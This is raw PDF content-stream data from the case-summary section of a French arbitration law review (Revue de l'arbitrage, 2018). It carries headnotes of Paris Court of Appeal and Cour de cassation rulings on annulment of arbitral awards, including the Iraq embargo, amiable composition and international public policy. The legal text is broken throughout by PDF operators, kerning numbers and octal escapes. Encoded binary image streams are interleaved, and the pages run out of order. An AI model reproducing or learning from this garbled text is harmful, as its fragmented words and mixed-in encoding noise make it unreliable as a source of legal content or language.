)55(Absence de d\351ni de justice.)55( \227 )55(Absence de )25(viola)54(tion )]TJ 0.075 Tw T* [(de l)95(\222ordre public intern)18(a)54(tion)18(al.)55( \227 Rejet)37(.)]TJ /T1_0 1 Tf 0.009 Tw -1.063 -1.784 Td [(La mission de la cour)74(,)55( saisie d\222un recours en annulation d\222une sentence arbitrale )]TJ 0.388 Tw -1.063 -1.075 Td [(internationale)25(,)55( est limit\351e \340 l\222examen des vices limitativement \351num\351r\351\ s par )]TJ 0.075 Tw T* (l\222article)Tj /Span<>> BDC ( )Tj EMC [(1520 du Code de proc\351dure civile)25(.)]TJ -0.007 Tw 1.063 -1.784 Td [(Le mo)18(yen qui critique une d\351cision des arbitres portant non sur leur comp\351\ tence )]TJ 0.075 Tw -1.063 -1.075 Td [(mais sur la recevabilit\351 des pr\351tentions qui leur \351taient soumi\ ses)55(,)55( est irrecevable)25(.)]TJ -0.005 Tw 1.063 -1.784 Td [(La sentence qui,)55( apr\350s que la R\351publique d\222Irak a \351t\351 mise en mesure de d\ iscuter )]TJ 0.127 Tw -1.063 -1.075 Td (la port\351e des sanctions adopt\351es par le Conseil de S\351curit\351 \ des Nations Unies et )Tj 0.076 Tw T* [(d\222un r\350glement communautaire pris pour leur application,)55( d\351clare ses pr\351tentions )]TJ 0.42 Tw T* [(irrecevables comme comprises dans le c)12(hamp d\222application de dispositions )]TJ 0.137 Tw T* [(inter)18(disant d\222accueillir les demandes li\351es \340 un contrat dont l\222e\ x\351cution avait \351t\351 )]TJ 0.224 Tw T* [(affect\351e directement ou indirectement,)55( en totalit\351 ou en partie)25(,)55( par les mesures )]TJ 0.097 Tw T* [(d\222embargo)55(,)55( n\222est pas entac)12(h\351e de d\351ni de justice et ne comporte aucune violation )]TJ 0.075 Tw T* [(manifeste)25(,)55( effective et concr\350te de l\222or)18(dre public international.)]TJ 0.158 Tw 1.063 -1.784 Td (Le principe de la contradiction exige seulement que les parties aient pu\ faire )Tj 0.115 Tw -1.063 -1.075 Td (conna\356tre leurs pr\351tentions de fait et de droit et discuter celles\ de leur adversaire )Tj 0.199 Tw T* (de telle sorte que rien de ce qui a servi \340 fonder la d\351cision des\ arbitres n\222ait )Tj 0.075 Tw 0 -1.075 TD [(\351c)12(happ\351 \340 leur d\351bat contradictoire)25(.)]TJ /T1_1 1 Tf 0.154 Tw 1.063 -1.784 Td [(N\260 r\351p)40(.)55( g\351n.)]TJ /Span<>> BDC 5.337 0 Td ( )Tj EMC 0.25 0 Td [(:)55( 16/05996.)55( )]TJ /Span<>> BDC (M)Tj EMC 0 Tw 6.4 0 0 6.4 151.576 312.5842 Tm (me)Tj 8 0 0 8 160.1072 309.3842 Tm ( )Tj /T1_2 1 Tf 0.404 0 Td (Guihal)Tj /T1_1 1 Tf 0.154 Tw [(,)55( pr\351s)55(.,)55( )]TJ /Span<>> BDC (M)Tj EMC 0 Tw 6.4 0 0 6.4 223.8121 312.5842 Tm (me)Tj 8 0 0 8 232.3432 309.3842 Tm ( )Tj /T1_2 1 Tf -0.074 Tc 0.074 Tw 0.404 0 Td [(S)-56(a)-74(lva)-74(r)-37(y)]TJ /T1_1 1 Tf -0.055 Tc 0.209 Tw 3.374 0 Td (, )Tj /Span<>> BDC (M)Tj EMC 1.543 0 Td (. )Tj /T1_2 1 Tf 0 Tc 0 Tw [(Lec)18(ar)6(oz,)]TJ /T1_1 1 Tf 0.154 Tw 4.605 0 Td [( cons)55(.)55( )]TJ 0.092 Tw -32.59 -1.075 Td (\227 )Tj /Span<>> BDC (M)Tj EMC 0 Tw 6.4 0 0 6.4 69.3137 303.9842 Tm (es)Tj 8 0 0 8 75.0032 300.7842 Tm ( )Tj /T1_2 1 Tf 0.342 0 Td [(R)18(ouche )]TJ /T1_1 1 Tf 3.88 0 Td (et)Tj /T1_2 1 Tf 0.092 Tw [( Malinv)74(a)37(ud)37(,)55( )]TJ /T1_1 1 Tf 6.707 0 Td [(av)92(.)55( \227 )]TJ /Span<>> BDC (D)Tj EMC (\351cision attaqu\351e)Tj /Span<>> BDC ( )Tj EMC 10.992 0 Td [(:)55( )]TJ /Span<>> BDC (S)Tj EMC (entence pr\351liminaire )Tj 0.281 Tw -24.919 -1.075 Td (rendue \340 )Tj /Span<>> BDC (P)Tj EMC [(aris le 18 juin 2006 et sentence finale rendue le 5 f\351vrier 2007.)55( )]TJ 0.075 Tw 0 -1.075 TD (\227 )Tj /Span<>> BDC (R)Tj EMC (ejet.)Tj /T1_3 1 Tf 0.103 Tw 0 -3.91 TD [([2018/08] Cour d\222a)-10(ppel de P)55(aris \(P\364le)]TJ /Span<>> BDC ( )Tj EMC (1)Tj /Span<>> BDC ( )Tj EMC (\226)Tj /Span<>> BDC ( )Tj EMC (Ch.)Tj /Span<>> BDC 20.445 0 Td ( )Tj EMC [(1\),)37( 23 jan)18(vier 2018,)]TJ /T1_4 1 Tf 0 Tw ( )Tj /T1_0 1 Tf 0.103 Tw 9.196 0 Td [(M.)55( Christian )]TJ 0.075 Tw -29.641 -1.075 Td (Cabiron et autre c/ SA ITM Entreprises)Tj /T1_2 1 Tf 0.346 Tw 0 -1.784 TD [(Amiable composition)25(.)55( \227 Respect de la mission)25(.)55( \227 Pouv)6(oir de modifier )]TJ 0.412 Tw 2.126 -1.075 Td [(ou de mod\351rer les cons\351quences des stipula)54(tions contra)18(ctuelles)24(.)55( )]TJ 0.075 Tw 0 -1.075 TD [(\227 Respect dev)74(ant r\351sul)74(ter de la mo)10(tiv)74(a)54(tion de la sentence.)]TJ 0.285 Tw -2.126 -1.784 Td [(Recour)10(s )1(en )25(annula)54(tion)25(.)55( )1(\227 )56(Ar)10(t)37(.)55( )1(1492-3\260 )1(CPC.)55( )1(\227 )56(Arbitre.)55( )1(\227 )1(Mission)25(.)55( )1(\227 )]TJ 0.743 Tw 2.126 -1.075 Td [(Amiable composition)25(.)55( \227 Pouv)6(oir de modifier ou de mod\351rer )]TJ 0.773 Tw T* (les)Tj /Span<>> BDC ( )Tj EMC [(cons\351quences des stipula)54(tions )1(contra)18(ctuelles)24(.)55( \227 Respect )]TJ 0.075 Tw T* [(dev)74(ant r\351sul)74(ter de la mo)10(tiv)74(a)54(tion de la sentence.)55( \227 Rejet)37(.)]TJ /T1_0 1 Tf 0.293 Tw -1.063 -1.784 Td (La clause d\222amiable composition est une renonciation conventionnelle \ aux )Tj 0.167 Tw -1.063 -1.075 Td [(effets et au b\351n\351fice de la r\350gle de droit,)55( les parties per)18(dant la pr\351rogative d\222en )]TJ 0.126 Tw T* [(exiger )1(la stricte )1(application )1(et )1(les )1(arbitres )1(recevant )1(corr\351lativement )1(le )1(pouvoir de )]TJ 0.118 Tw T* (modifier ou de mod\351rer les cons\351quences des stipulations contractu\ elles d\350s lors )Tj 0.075 Tw T* [(que l\222\351quit\351 ou l\222int\351r\352t commun bien compris des part\ ies l\222exige)25(.)]TJ 0.264 Tw 1.063 -1.784 Td (Le respect par le tribunal arbitral de sa mission ne saurait se d\351dui\ re des )Tj 0.141 Tw -1.063 -1.075 Td (r\351f\351rences formelles de la sentence \340 l\222\351quit\351 mais do\ it r\351sulter de la motivation )Tj 0.075 Tw 0 -1.075 TD (de)Tj /Span<>> BDC ( )Tj EMC [(la sentence elle-m\352me)25(.)]TJ /T1_1 1 Tf 0.154 Tw 1.063 -1.784 Td [(N\260 r\351p)40(.)55( g\351n.)]TJ /Span<>> BDC 5.337 0 Td ( )Tj EMC 0.25 0 Td [(:)55( 16/12618.)55( )]TJ /Span<>> BDC (M)Tj EMC 0 Tw 6.4 0 0 6.4 151.576 80.9611 Tm (me)Tj 8 0 0 8 160.1072 77.7611 Tm ( )Tj /T1_2 1 Tf 0.404 0 Td (Guihal)Tj /T1_1 1 Tf 0.154 Tw [(,)55( pr\351s)55(.,)55( )]TJ /Span<>> BDC (M)Tj EMC 0 Tw 6.4 0 0 6.4 223.8121 80.9611 Tm (me)Tj 8 0 0 8 232.3432 77.7611 Tm ( )Tj /T1_2 1 Tf -0.074 Tc 0.074 Tw 0.404 0 Td [(S)-56(a)-74(lva)-74(r)-37(y)]TJ /T1_1 1 Tf -0.055 Tc 0.209 Tw 3.374 0 Td (, )Tj /Span<>> BDC (M)Tj EMC 1.543 0 Td (. )Tj /T1_2 1 Tf 0 Tc 0 Tw [(Lec)18(ar)6(oz,)]TJ /T1_1 1 Tf 0.154 Tw 4.605 0 Td [( cons)55(.)55( )]TJ 0.252 Tw -32.59 -1.075 Td (\227 )Tj /Span<>> BDC (M)Tj EMC 0 Tw 6.4 0 0 6.4 70.5908 72.3611 Tm (es)Tj 8 0 0 8 76.2804 69.1611 Tm ( )Tj /T1_2 1 Tf 0.447 0 Td [(T)100(ourn\351 )]TJ /T1_1 1 Tf 3.847 0 Td (et)Tj /T1_2 1 Tf 0.252 Tw [( Chemama,)55( )]TJ /T1_1 1 Tf 6.286 0 Td [(av)92(.)55( \227 )]TJ /Span<>> BDC (D)Tj EMC (\351cision attaqu\351e)Tj /Span<>> BDC ( )Tj EMC 11.471 0 Td [(:)55( )]TJ /Span<>> BDC (S)Tj EMC (entence du 19 mai )Tj 0.075 Tw -25.208 -1.075 Td [(2016.)55( \227 )]TJ /Span<>> BDC (R)Tj EMC (ejet.)Tj ET endstream endobj 37 0 obj <>stream 8;Z\66'B,>#idYRl2P\\3u`f_@lld$Bf"SgdRfW8l3NJ?h#Hb1!t=cLm]W@hl\YRE +8rdrEOA:A]^$VInmieZD"2I6%tD>\XRESfCUNq5]>!#u8NJY!4RSu_\5504/9PV! 7_JT4h:*^tU*C/tY2_6(3MW8HrF)dGO(*X=!q':K;U(g9sMr#NF q,(FTjt$h\W/6-ciqr6(=T(sP%/0A.B/tg#\Q"TZ:4WfY1U@_6\>Qs=3cdNN3Pt$# _KY\$8GgW*B5jc3ftB-YL,qGJI@6ct@AM(.QE7R*lccT3`uZmn_-m8lY]F_E\Xe$K 9]*n$VAbi1;4XpN1_3#TQC1$e5PeQj*-6nX[q@ba`uLN=*TY_A?j>M&UmN7ki"\8= Mjh+t;"[M*h4W%E/1@N.CG]Y.T=;i>26(2jHW)7N?VsN+*q('-n!ue:>4T7Q8L%*p eR.S2F7qBi#!SU&~> endstream endobj 34 0 obj <>stream BT 0 0 0 1 k /GS0 gs /T1_0 1 Tf 0.125 Tw 7 0 0 7 51.0236 34.2601 Tm (Revue de l\222arbitrage )Tj /T1_1 1 Tf 0.25 Tw (2018)Tj /Span<>> BDC ( )Tj EMC (-)Tj /Span<>> BDC ( )Tj EMC (N\260)Tj /Span<>> BDC ( )Tj EMC 14.067 0 Td (1)Tj 0 Tw 9 0 0 9 51.0236 543.0812 Tm (296)Tj /Span<>> BDC ( )Tj EMC 0.075 Tw 6.5 0 0 6.5 132.3091 543.0812 Tm [(SOMMAIRES DE JURISPR)37(UDE)]TJ /Span<>> BDC (N)Tj EMC (CE)Tj ET 0 0 0 1 K 0.283 w q 1 0 0 1 162.9926 291.6133 cm 0 0 m 56.692 0 l S Q BT /T1_0 1 Tf 0.101 Tw 8 0 0 8 59.5276 518.2095 Tm [(L)92(\222or)18(dre public international au regar)18(d duquel s\222effectue le contr\364le du juge de )]TJ 0.128 Tw -1.063 -1.075 Td [(l\222annulation s\222entend de la conception qu\222en a l\222or)18(dre juridique fran\347ais)55(,)55( c\222est-\340-)]TJ 0.015 Tw 0 -1.075 TD (dire des valeurs et des principes dont celui-ci ne saurait souffrir la m\ \351connaissance )Tj 0.072 Tw T* (m\352me dans un contexte international)Tj /Span<>> BDC ( )Tj EMC 16.152 0 Td [(;)55( que ce n\222est que dans cette mesure que des )]TJ 0.089 Tw -16.152 -1.075 Td [(lois )1(de )1(police )1(\351trang\350res )1(peuvent )1(\352tre )1(regar)18(d\351es )1(comme )1(relevant )1(de )1(l\222or)18(dre )1(public )]TJ 0.082 Tw T* [(international,)55( de sorte qu\222il est en principe indiff\351rent que la sentence soumis\ e au )]TJ 0.027 Tw T* [(juge fran\347ais ait fait l\222objet d\222un refus d\222ex)18(equatur pour violation de l\222or)18(dre public )]TJ 0.075 Tw T* (dans l\222Etat dont les dispositions de police s\222appliquent au contra\ t litigieux.)Tj -0.037 Tw 1.063 -1.796 Td (La r\351solution de l\222Assembl\351e g\351n\351rale des Nations-Unies e\ n date du 14)Tj /Span<>> BDC ( )Tj EMC (d\351cembre )Tj 0.095 Tw -1.063 -1.075 Td [(1962 exprime un consensus international sur le droit des Etats de subor)18(donner \340 )]TJ 0.104 Tw T* [(une )1(autorisation )1(pr\351alable )1(l\222exploitation )1(des )1(ressources )1(naturelles )1(situ\351es )1(sur )1(leur )]TJ 0.247 Tw T* (territoire et de soumettre \340 leur contr\364le les investissements \351\ trangers dans ce )Tj 0.054 Tw T* [(domaine)25(.)55( Les dispositions par lesquelles)55(,)55( dans le respect du droit international,)55( les )]TJ 0.08 Tw T* (Etats expriment leur souverainet\351 sur leurs ressources naturelles rel\ \350vent donc de )Tj 0.075 Tw T* [(l\222or)18(dre public international.)]TJ 0.114 Tw 1.063 -1.796 Td [(V)55(iole de mani\350re manifeste)25(,)55( effective et concr\350te l\222or)18(dre public international et )]TJ -0.051 Tw -1.063 -1.075 Td [(doit donc \352tre annul\351e la sentence)25(,)55( qui a pour effet de conf\351rer un titre juridiquement )]TJ 0.048 Tw 0 -1.075 TD [(prot\351g\351 dans l\222or)18(dre international sur un investissement r\351alis\351 gr\342ce \340 l\222\ obtention )]TJ 0.074 Tw 0 -1.075 TD [(frauduleuse )1(d\222une autorisation administrative )1(\340 laquelle la l\351gislation )1(de l\222Etat de )]TJ 0.381 Tw T* [(l\222investissement subor)18(donnait l\222exploitation des ressources naturelles sur son )]TJ 0 Tw T* [(territoire)25(.)]TJ /T1_1 1 Tf 0.154 Tw 1.063 -1.796 Td [(N\260 r\351p)40(.)55( g\351n.)]TJ /Span<>> BDC 5.337 0 Td ( )Tj EMC 0.25 0 Td [(:)55( 15/21703.)55( )]TJ /Span<>> BDC (M)Tj EMC 0 Tw 6.4 0 0 6.4 151.576 323.4938 Tm (me)Tj 8 0 0 8 160.1072 320.2938 Tm ( )Tj /T1_2 1 Tf 0.404 0 Td (Guihal)Tj /T1_1 1 Tf 0.154 Tw [(,)55( pr\351s)55(.,)55( )]TJ /Span<>> BDC (M)Tj EMC 0 Tw 6.4 0 0 6.4 223.8121 323.4938 Tm (me)Tj 8 0 0 8 232.3432 320.2938 Tm ( )Tj /T1_2 1 Tf -0.074 Tc 0.074 Tw 0.404 0 Td [(S)-56(a)-74(lva)-74(r)-37(y)]TJ /T1_1 1 Tf -0.055 Tc 0.209 Tw 3.374 0 Td (, )Tj /Span<>> BDC (M)Tj EMC 1.543 0 Td (. )Tj /T1_2 1 Tf 0 Tc 0 Tw [(Lec)18(ar)6(oz,)]TJ /T1_1 1 Tf 0.154 Tw 4.605 0 Td [( cons)55(.)55( )]TJ 0.26 Tw -32.59 -1.075 Td (\227 )Tj /Span<>> BDC (M)Tj EMC 0 Tw 6.4 0 0 6.4 70.6562 314.8938 Tm (es)Tj 8 0 0 8 76.3458 311.6938 Tm ( )Tj /T1_2 1 Tf 0.455 0 Td [(V)137(alentini )]TJ /T1_1 1 Tf 4.929 0 Td (et)Tj /T1_2 1 Tf 0.205 Tw [( Adeline,)55( )]TJ /T1_1 1 Tf 0.26 Tw 5.806 0 Td [(av)92(.)55( \227 )]TJ /Span<>> BDC (D)Tj EMC (\351cision attaqu\351e)Tj /Span<>> BDC ( )Tj EMC 11.496 0 Td [(:)55( )]TJ /Span<>> BDC (S)Tj EMC (entence rendue \340 )Tj 0.075 Tw /Span<>> BDC -25.851 -1.075 Td (P)Tj EMC [(aris le 13 octobre 2015.)55( \227 )]TJ /Span<>> BDC 12.369 0 Td (A)Tj EMC (nnulation.)Tj /T1_3 1 Tf -0.011 Tc -0.008 Tw -12.369 -5.34 Td [([2018/07] Cour d\222a)-10(ppel de P)55(aris \(P\364le)]TJ /Span<>> BDC ( )Tj EMC (1)Tj /Span<>> BDC ( )Tj EMC (\226)Tj /Span<>> BDC ( )Tj EMC (Ch.)Tj /Span<>> BDC 19.062 0 Td ( )Tj EMC [(1\),)37( 16 jan)18(vier 2018,)]TJ /T1_4 1 Tf 0 Tc 0 Tw ( )Tj /T1_0 1 Tf -0.011 Tc -0.008 Tw 8.385 0 Td [(Legal Department)-11( )]TJ 0 Tc 0.117 Tw -27.447 -1.075 Td [(du Minist\350re de la J)55(ustice de la R\351publique d\222Irak c/ soci\351t\351 Fincantieri Cantie\ ri )]TJ 0.075 Tw 0 -1.075 TD (Navali Italiani Spa et autre)Tj /T1_2 1 Tf 0.609 Tw 0 -1.797 TD [(Arbitra)18(ge intern)18(a)54(tion)18(al.)55( \227 Recour)10(s en )25(annula)54(tion)25(.)55( \227 Comp\351tence )]TJ 0.687 Tw 2.126 -1.075 Td [(d)37(u )25(trib)18(un)18(al )25(arbitral.)55( \227 Grief fond\351 sur l)95(\222irrecev)74(abilit\351 des )]TJ 0.406 Tw 0 -1.075 TD [(demandes)24(.)55( \227 Mo)35(yen irrecev)74(able.)55( \227 Principe de la contradiction)25(.)55( )]TJ 0.397 Tw T* [(\227 Mo)35(yen non fond\351.)55( \227 Ordre public intern)18(a)54(tion)18(al.)55( \227 Emb)25(argo )]TJ 0.477 Tw T* [(contre l)95(\222Irak.)55( \227 Interdiction d\222a)18(ccueillir des demandes li\351es \340 )]TJ 0.589 Tw T* [(l)95(\222ex\351cution d\222un contra)54(t )25(affect\351e p)55(ar l)95(\222emb)25(argo)55(.)55( \227 )55(All\351ga)54(tion )]TJ 0.645 Tw T* [(de priv)74(a)54(tion d)37(u dr)6(oit \340 un pr)6(oc\350s \351quit)25(able.)55( \227 )55(Absence de )]TJ 0.76 Tw T* (d\351ni)Tj /Span<>> BDC ( )Tj EMC [(de justice.)55( \227 )55(Absence de )25(viola)54(tion de l)95(\222ordre public )]TJ 0 Tw T* [(intern)18(a)54(tion)18(al.)]TJ 0.494 Tw -2.126 -1.797 Td [(Ordre public)18(.)55( \227 )55(Arbitra)18(ge intern)18(a)54(tion)18(al.)55( \227 Emb)25(argo contre l)95(\222Irak.)55( )]TJ 0.688 Tw 2.126 -1.075 Td [(\227 Interdiction d\222a)18(ccueillir des demandes li\351es \340 l)95(\222ex\351cution )]TJ 0.495 Tw T* [(d\222un contra)54(t )25(affect\351e p)55(ar l)95(\222emb)25(argo)55(.)55( \227 )55(All\351ga)54(tion de priv)74(a)54(tion )]TJ 0.449 Tw T* [(d)37(u dr)6(oit \340 un pr)6(oc\350s \351quit)25(able.)55( \227 )55(Absence de d\351ni de justice.)55( )]TJ 0.075 Tw T* [(\227 )55(Absence de )25(viola)54(tion de l)95(\222ordre public intern)18(a)54(tion)18(al.)]TJ 0.419 Tw -2.126 -1.797 Td [(Recour)10(s )1(en )26(annula)54(tion)25(.)55( )1(\227 )55(Arbitra)18(ge )1(intern)18(a)54(tion)18(al.)55( )1(\227 )1(1\260\))]TJ /Span<>> BDC ( )Tj EMC 30.147 0 Td [(Ar)10(t)37(.)]TJ /Span<>> BDC 1.93 0 Td ( )Tj EMC 0.668 0 Td (1520-)Tj 0.634 Tw -30.62 -1.075 Td [(1\260 CPC.)55( \227 Comp\351tence d)37(u )25(trib)18(un)18(al )25(arbitral.)55( \227 Grief fond\351 )]TJ 0.85 Tw T* (sur)Tj /Span<>> BDC ( )Tj EMC [(l)95(\222irrecev)74(abilit\351 des demandes)24(.)55( \227 Mo)35(yen irrecev)74(able.)55( \227 )]TJ 0.423 Tw T* (2\260\))Tj /Span<>> BDC ( )Tj EMC 1.907 0 Td [(Ar)10(t)37(.)]TJ /Span<>> BDC 1.93 0 Td ( )Tj EMC 0.673 0 Td [(1520-4\260 )1(CPC.)55( )1(\227 )1(Principe )1(de )1(la )1(contradiction)25(.)55( \227 )1(Mo)35(yen )]TJ 0.278 Tw -4.509 -1.075 Td [(non fond\351.)55( \227 3\260\) )55(Ar)10(t)37(.)55( 1520-5\260 CPC.)55( \227 Ordre public intern)18(a)54(tion)18(al.)55( )]TJ 0.901 Tw T* [(\227 Emb)25(argo contre l)95(\222Irak.)55( \227 Interdiction d\222a)18(ccueillir des )]TJ ET endstream endobj 35 0 obj <>stream 8;Z\6d>l-f#ioKCj8ZlJhmld"J;Us1e%KQM3VSukC2k(ueEjr`CFU7YUS#m,clA,H cLH90-Ch]L%#nc)ijRUATEnl`rUV@@E14PmOZ?T.4p2f2Xn/,!JKQuhof XVMkaXIlpr2Lm.PkgiNc3p,I1!S6Wgdij5N+=jNO)*]6mDAA0E` H;:UYoCZb927#NS_/%RFVO+7=DY+AF?rEBKAB\>fJPAI8Ya\>_6,Of hs!M-1fb:9P0FKALKUi)Xg6dRLiX%@3d])F`Hp'%%:=_Y21m1HSTpDI'h*U@:W5kJ JGtfDGY&?h0FB2pK\H8%OVTL$[L61EFmW;HrSS7b%,;=RElm&:X]pYRnq#,#BM6%4 4`jd((,/(^TPD)`k4t_*lu+nZq)2"tEkBfe\:]nWgAHJmTdh:U5!i5\I/tAV6+Olm 5oiamrGg"/S34TJo?R>uY2=+]!s"ciKDY~> endstream endobj 32 0 obj <>stream BT 0 0 0 1 k /GS0 gs /T1_0 1 Tf 0.125 Tw 7 0 0 7 229.6853 34.2601 Tm (Revue de l\222arbitrage )Tj /T1_1 1 Tf 0.25 Tw (2018)Tj /Span<>> BDC ( )Tj EMC (-)Tj /Span<>> BDC ( )Tj EMC (N\260)Tj /Span<>> BDC ( )Tj EMC 14.067 0 Td (1)Tj 0.075 Tw /Span<>> BDC 6.5 0 0 6.5 51.0236 543.0812 Tm ( )Tj EMC 12.654 0 Td [(SOMMAIRES DE JURISPR)37(UDE)]TJ /Span<>> BDC (N)Tj EMC (CE)Tj /Span<>> BDC ( )Tj EMC 0 Tw 9 0 0 9 317.7026 543.0812 Tm (295)Tj ET 0 0 0 1 K 0.283 w q 1 0 0 1 162.9926 326.16 cm 0 0 m 56.692 0 l S Q BT /T1_2 1 Tf 0.688 Tw 8 0 0 8 51.0236 518.3295 Tm [(V)110(oies de recour)10(s)24(.)55( \227 )55(T)74(ier)6(ce opposition)25(.)55( \227 Recour)10(s dirig\351 contre )]TJ 0.03 Tc 1.221 Tw 2.126 -1.075 Td [(l)95(\222arr\352t rend)37(u sur recour)10(s en r\351vision)25(.)55( \227 F)37(onction)30( )]TJ 0 Tc 0.631 Tw 0 -1.075 TD [(juridictionnelle de l)95(\222arbitre.)55( \227 Interdiction pour l)95(\222arbitre de )]TJ 0.566 Tw T* [(former )25(tier)6(ce )1(opposition )1(contre )1(la d\351cision )1(de r\351tra)18(ct)25(a)54(tion )1(de )]TJ 0.397 Tw T* [(la sentence.)55( \227 )1(Indiff\351rence )1(d)37(u risque )1(d\222a)18(ction )1(en respons)25(abilit\351 )]TJ 0.075 Tw T* [(civile.)55( \227 )55(T)74(ier)6(ce opposition irrecev)74(able.)]TJ /T1_0 1 Tf 0.157 Tw -1.063 -1.618 Td [(Nul ne pouvant \352tre juge et partie)25(,)55( d\222une part,)55( l\222arbitre ex)18(er\347ant une fonction )]TJ 0.159 Tw -1.063 -1.075 Td [(juridictionnelle lui inter)18(disant de demander que lui soit d\351clar\351e inopposable la )]TJ 0.163 Tw T* [(d\351cision dont l\222objet \351tait de r\351tracter les sentences auxqu\ elles il avait particip\351,)55( )]TJ 0.225 Tw T* [(m\352me si un vice qui entac)12(herait ladite d\351cision pourrait fonder une action en )]TJ 0.41 Tw T* [(responsabilit\351 civile ult\351rieure)25(,)55( d\222autre part,)55( \351tant inop\351rant le grief tir\351 de )]TJ 0.122 Tw T* [(l\222all\351gation d\222un exc\350s )1(de pouvoir )1(qui aurait \351t\351 commis )1(par la juridiction )1(saisie )]TJ 0.226 Tw T* [(du recours en r\351vision,)55( celui-ci n\222\351tant pas de nature \340 permettre d\222\351carter les\ )]TJ 0.001 Tw T* [(conditions )1(d\222int\351r\352t )1(et )1(de )1(qualit\351 )1(pour )1(agir inh\351rentes )1(\340 )1(l\222ex)18(ercice )1(de )1(toutes )1(les )1(voies )]TJ 0.053 Tw T* [(de droit,)55( c\222est \340 bon droit et sans m\351conna\356tre le droit \340 un reco\ urs effectif qu\222une )]TJ 0.105 Tw T* (cour d\222appel d\351clare irrecevable la tierce opposition form\351e pa\ r l\222un des arbitres )Tj 0.075 Tw T* [(dont la sentence a \351t\351 r\351tract\351e)25(.)]TJ /T1_1 1 Tf 0.007 Tw /Span<>> BDC 1.063 -1.618 Td (A)Tj EMC (rr\352t n\260 23 F-)Tj /Span<>> BDC (P)Tj EMC [(+B)74(,)55( pourvoi n\260 X 16-24.740 \227 )]TJ /Span<>> BDC (M)Tj EMC 0 Tw 6.4 0 0 6.4 226.4488 366.6405 Tm (me)Tj 8 0 0 8 234.98 363.4405 Tm ( )Tj /T1_2 1 Tf 0.257 0 Td (Flise)Tj /T1_1 1 Tf 0.007 Tw [(,)55( pr\351s)55(.,)55( )]TJ /Span<>> BDC (M)Tj EMC 0 Tw 6.4 0 0 6.4 286.7097 366.6405 Tm (me)Tj /Span<>> BDC ( )Tj EMC /T1_2 1 Tf 8 0 0 8 296.8836 363.4405 Tm [(Br)6(ou)37(ard-)]TJ -30.733 -1.075 Td (Gallet)Tj /T1_1 1 Tf 0.219 Tw 3.296 0 Td [(,)55( cons)55(.)55( doy)92(.)55( rapp)40(.,)55( )]TJ /Span<>> BDC (M)Tj EMC [(.)55( )]TJ /T1_2 1 Tf 0 Tw (Pimoulle)Tj /T1_1 1 Tf 0.219 Tw [(,)55( cons)55(.)55( \227 )]TJ /T1_2 1 Tf [(SCP F)102(abiani,)55( Luc-T)74(haler )]TJ /T1_1 1 Tf 0 Tw (et)Tj /T1_2 1 Tf ( )Tj 0.242 Tw -3.296 -1.075 Td [(Pin)18(a)54(tel,)55( SCP C\351lice,)55( Sol)74(tner,)55( )55(T\351xidor )]TJ /T1_1 1 Tf 0 Tw (et)Tj /T1_2 1 Tf 0.242 Tw [( P\351rier,)55( )]TJ /T1_1 1 Tf 23.443 0 Td [(av)92(.)55( \227 )]TJ /Span<>> BDC (D)Tj EMC (\351cision attaqu\351e)Tj /Span<>> BDC ( )Tj EMC 11.441 0 Td [(:)55( )]TJ 0.075 Tw /Span<>> BDC -34.884 -1.075 Td (P)Tj EMC (aris \()Tj /Span<>> BDC (P)Tj EMC (\364le 1 \226 )Tj /Span<>> BDC (C)Tj EMC [(h.)55( 1\),)55( 27 septembre 2016 \227 )]TJ /Span<>> BDC (R)Tj EMC (ejet.)Tj /T1_3 1 Tf 0.001 Tc 0.125 Tw 0 -4.098 TD [([2018/06] Cour d\222a)-9(ppel de P)55(aris \(P\364le)]TJ /Span<>> BDC ( )Tj EMC (1)Tj /Span<>> BDC ( )Tj EMC (\226)Tj /Span<>> BDC ( )Tj EMC (Ch.)Tj /Span<>> BDC 20.652 0 Td ( )Tj EMC [(1\),)37( 16 jan)18(vier 2018,)]TJ /T1_4 1 Tf 0 Tc 0 Tw ( )Tj /T1_0 1 Tf 0.001 Tc 0.125 Tw 9.323 0 Td [(Soci\351t\351 MK)1( )]TJ 0 Tc 0.075 Tw -29.975 -1.075 Td (Group c/ SARL Onix et autre)Tj /T1_2 1 Tf 0.46 Tw 0 -1.795 TD [(Arbitra)18(ge intern)18(a)54(tion)18(al.)55( \227 Recour)10(s en )25(annula)54(tion)25(.)55( \227 Ordre public )]TJ 0.36 Tw 2.126 -1.075 Td [(intern)18(a)54(tion)18(al.)55( \227 Lois de police \351trang\350res)24(.)55( \227 Refus d\222ex\351qu)37(a)54(tur )]TJ 0.604 Tw 0 -1.075 TD [(d)18(ans )1(le )1(p)55(a)70(y)18(s )1(dont )1(les )1(lois )1(de )1(police )1(ont )1(\351t\351 )1(m\351connues)24(.)55( )1(\227 )]TJ 0.956 Tw T* [(Cir)6(const)25(ance en principe indiff\351rente.)55( \227 Distinction ordre )]TJ 0.37 Tw T* [(public intern)18(a)54(tion)18(al et lois de police \351trang\350res)24(.)55( \227 )55(A)74(utoris)25(a)54(tion )]TJ 1.334 Tw T* [(administra)54(tive )1(d\222exploit)25(a)54(tion )1(obtenue p)55(ar des )1(man\234uvres )]TJ 0.075 Tw T* [(fra)37(ud)37(uleuses)24(.)55( \227 M\351conn)18(aiss)25(ance de l)95(\222ordre public)18(.)]TJ 0.746 Tw -2.126 -1.618 Td [(Ordre public)18(.)55( \227 Ordre public intern)18(a)54(tion)18(al.)55( \227 Lois de police )]TJ 0.618 Tw 2.126 -1.075 Td [(\351trang\350res)24(.)55( \227 Refus d\222ex\351qu)37(a)54(tur d)18(ans le p)55(a)70(y)18(s dont les lois )]TJ 0.873 Tw T* (de)Tj /Span<>> BDC ( )Tj EMC [(police )1(ont \351t\351 )1(m\351connues)24(.)55( \227 Cir)6(const)25(ance en principe )]TJ 0.633 Tw T* [(indiff\351rente.)55( \227 Distinction ordre public intern)18(a)54(tion)18(al et lois )]TJ 1.807 Tw T* [(de police \351trang\350res)24(.)55( \227 )55(A)74(utoris)25(a)54(tion )25(administra)54(tive )]TJ 0.934 Tw T* [(d\222exploit)25(a)54(tion )1(obtenue p)55(ar des )1(man\234uvres )1(fra)37(ud)37(uleuses)24(.)55( )1(\227 )]TJ 0.075 Tw T* [(M\351conn)18(aiss)25(ance de l)95(\222ordre public)18(.)55( )]TJ 0.395 Tw -2.126 -1.618 Td [(Recour)10(s en )25(annula)54(tion)25(.)55( \227 )55(Ar)10(t)37(.)55( 1520-5\260 CPC.)55( \227 )55(V)55(iola)54(tion de l)95(\222ordre )]TJ 0.817 Tw 2.126 -1.075 Td [(public)18(.)55( \227 )55(All\351ga)54(tion )1(de )1(m\351conn)18(aiss)25(ance de )1(lois )1(de police )]TJ 0.618 Tw T* 